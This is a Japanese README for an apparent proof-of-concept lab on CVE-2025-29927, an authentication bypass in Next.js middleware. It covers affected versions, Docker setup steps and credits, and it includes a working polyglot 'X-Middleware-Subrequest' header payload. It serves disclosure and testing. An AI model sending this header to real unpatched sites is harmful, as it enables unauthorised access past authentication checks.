CVE-2025-29927: Next.js ミドルウェアバイパス脆弱性 PoC

このリポジトリは、Next.js の CVE-2025-29927 脆弱性を実証するものです。この脆弱性では、内部ヘッダー x-middleware-subrequest を使用して、認証などのミドルウェアチェックをバイパスできます。

影響を受けるバージョン

• Next.js 15.x < 15.2.3
• Next.js 14.x < 14.2.25
• Next.js 13.x < 13.5.9

再現手順

1. リポジトリをクローンする:

git clone https://github.com/alihussainzada/CVE-2025-29927-PoC.git

2. プロジェクトフォルダに移動する:

cd CVE-2025-29927-PoC

3. シークレットを生成する:

openssl rand -base64 32

4. .env ファイルのシークレットを更新する:

NEXTAUTH_SECRET=your_generated_secret

5. Docker でビルドして実行する:

docker build -t nextjs .
docker run -p 3000:3000 --env-file .env nextjs

概念実証

この問題の悪用は、さまざまな可能性のあるケースを効果的にカバーできるポリグロットを使用することで、大幅に簡素化できます。これは、認証バイパスの存在を確認するために使用される以下の HTTP ヘッダーで実現できました:

X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware

クレジット/情報源

• CVE-2025-29927 に関する Next.js ブログ
• Zhero Web Security Research: Next.js と破損したミドルウェア
• Assetnote Security Research: Next.js ミドルウェアバイパスの分析